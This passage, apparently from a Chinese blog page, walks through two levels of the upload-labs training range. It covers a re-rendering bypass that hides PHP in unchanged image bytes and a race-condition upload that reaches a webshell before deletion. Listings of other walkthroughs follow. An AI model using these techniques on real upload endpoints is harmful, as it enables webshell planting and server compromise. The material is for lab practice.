    Pass-17-二次渲染绕过

    1.查看源码,判断使用二次渲染绕过。

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])){
        // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
        $filename = $_FILES['upload_file']['name'];
        $filetype = $_FILES['upload_file']['type'];
        $tmpname = $_FILES['upload_file']['tmp_name'];
    
        $target_path=UPLOAD_PATH.'/'.basename($filename);
    
        // 获得上传文件的扩展名
        $fileext= substr(strrchr($filename,"."),1);
    
        //判断文件后缀与类型,合法才进行上传操作
        if(($fileext == "jpg") && ($filetype=="image/jpeg")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromjpeg($target_path);
    
                if($im == false){
                    $msg = "该文件不是jpg格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".jpg";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagejpeg($im,$img_path);
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "png") && ($filetype=="image/png")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefrompng($target_path);
    
                if($im == false){
                    $msg = "该文件不是png格式的图片!";
                    @unlink($target_path);
                }else{
                     //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".png";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagepng($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;               
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "gif") && ($filetype=="image/gif")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromgif($target_path);
                if($im == false){
                    $msg = "该文件不是gif格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".gif";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagegif($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
        }else{
            $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
        }
    }
    
    1. 判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染上传的图片。绕过方法:找到渲染前后没有变化的位置,然后将php代码写进去,就可以上传带有php代码的图片。

    Pass-18-条件竞争

    知识点:

    条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。

    文件检测是先保存后检测,文件不合法再进行删除。当我们上传webshell文件时,先不会限制php文件类型,先利用上面的语句把上传的文件临时进行存放,再执行下面的语句进行文件类型的限制和文件名的时间戳。就可以利用条件竞争的方式在木马文件在被删除之前访问它,使它成功执行。

    if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹

    利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间访问成功。当线程足够的时候可能会跳过某个步骤,直接访问到我们的webshell

    方法1

    1. 查看题目源码,从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。所以我们可以上传1.php只需要在它删除之前访问即可,这个也就叫做条件竞争上传绕过。在这里插入图片描述
      2.方法:我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
    展开全文
  • Upload-labs通关攻略

    万次阅读 多人点赞 2020-06-03 12:04:47
    Upload-labs通关攻略 Pass-01 JS绕过 开启代理抓包,发现没有产生流量就进行验证了,说明是前端JS验证 直接firebug修改前端代码,添加允许上传类型.php 直接上传Webshell,比如1.php,菜刀连接,网站根目录下发现...
  • Upload-labs通关手册.pdf

    2021-08-06 17:22:58
    Upload-labs通关手册
  • upload-labs通关教程

    2021-03-30 10:52:14
    upload-labs通关教程 这回是我第一次写博客记录自己的通关教程废话不说开干 通关教程准备环境less-1less-2less-3less-4less-5less-6less-7less-8less-9less-10less-11 准备环境 upload网站+burpsuite+火狐渗透版 ...
  • upload-labs 通关攻略

    千次阅读 2021-02-15 22:33:35
    2、upload_labs 1、客户端使用JS校验 直接禁用JS即可,或者直接F12重新定义一下校验函数,使校验函数无效。 2、修改content-type 使用burp抓包,修改Content-Type的值为image/jpeg,成功绕过。 3、使用特殊后缀绕...
  • empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //...
  • Upload-labs通关手册

    千次阅读 2019-11-27 10:21:18
    Upload-labs是一个帮你总结所有类型的上传漏洞的靶场,包括常见的文件上传漏洞: 项目地址:https://github.com/c0ny1/upload-labs 运行环境 操作系统:windows、Linux php版本:推荐5.2.17(其他版本可能会导致...
  • 文章目录 Pass-01-js检查 Pass-02-MIME验证(content-type验证) Pass-03-黑名单绕过 Pass-04-htaccess绕过 Pass-05-.user.ini绕过 ...例如:http://127.0.0.1/upload-labs-master/include.php/?file=./upload/1.jpg。
  • Upload-labs通关总结

    2020-05-14 15:44:21
    if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { //判断上传路径是否存在,也就是说在根目录下,是否存在upload这么一个文件夹,如果自己本地搭建的话,需要创建这么一个文件夹 if (($_FILES['...
  • upload-labs通关详解以及相关知识点

    千次阅读 2020-12-20 19:38:17
    文章目录 upload-labs所有绕过技巧 什么是文件上传漏洞 什么是webshell 一句话木马 产生文件上传漏洞的原因 文件上传后导致的常见安全问题一般有: 第一关 JS绕过 第二关 文件类型绕过 第三关 其他可解析类型绕过 第...
  • upload-labs通关记录

    万次阅读 多人点赞 2019-06-20 10:40:35
    Pass-1 源码: 因为是前端js校验,因此可以直接禁用js 或者用burp抓包修改文件类型(上传1.jpg修改为1.php) Pass-2 源码: 仅仅判断content-type类型,因此上传1.php抓...$is_upload = false; $msg =...
  • upload-labs-master.zip

    2020-02-13 16:38:45
    upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关...
  • upload-labs 上传训练

    2018-09-02 11:23:23
    转自GitHub,是一个文件上传演练的靶场,练习文件上传思路轻松加愉快,附带源码查看,以及提示
  • 最新版文件上传靶场
  • 上传文件漏洞靶场upload-labs,用于练习上传文件漏洞,学习web安全的小白可用。我的博客也有详细的使用教程
  • upload-labs通关总结

    2020-11-08 12:07:48
    前言: 前几天看到大佬在玩upload-labs,所以自己也来玩玩,随便练习练习上传漏洞。 upload-labs下载地址:https://github.com/c0ny1/upload-labs 安装方法: 先下载upload-labs,解压后去掉文件名后面的-master,...
  • upload-labs1-10通关步骤

    2021-07-24 13:58:20
    upload-labs通关详细步骤 pass -01 先查看源码 分析一下: 我们先上传一个php文件,发现了是前端验证 前端验证的话 直接F12查看器 找到并删掉代码return checkFile() 删除代码后可以发现 上传成功了 上传成功后复制...
  • Upload-labs 一些网站存在文件上传接口,一旦存在这个接口就有可能存在漏洞。 文件上传漏洞的逻辑是将一个webshell上传到服务器,服务器对它进行本地化存储并解析。 那么我们只要获知上传文件的路径就可以对整个网站...
  • upload-labs通关(Pass-11~Pass-15)

    千次阅读 2021-10-08 21:51:51
    } } } Pass-15 这关我用Pass-14的三个图片马试了一下,都是可以成功上传和连接的,所以这关就不再重复说了,通关过程详见Pass-14。 代码分析: 本关用getimagesize()函数获取图像文件的大小并返回图像的尺寸以及...
  • 将报文send to intruder,按照Pass-03的套路爆破后缀名(upload-labs通关(Pass-01~Pass-05)_箭雨镜屋-CSDN博客) 爆破结果用../upload过滤,发现只有如下后缀的文件上传成功 仔细查看Response报文后发现,有...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 519
精华内容 207
关键字:

upload-labs通关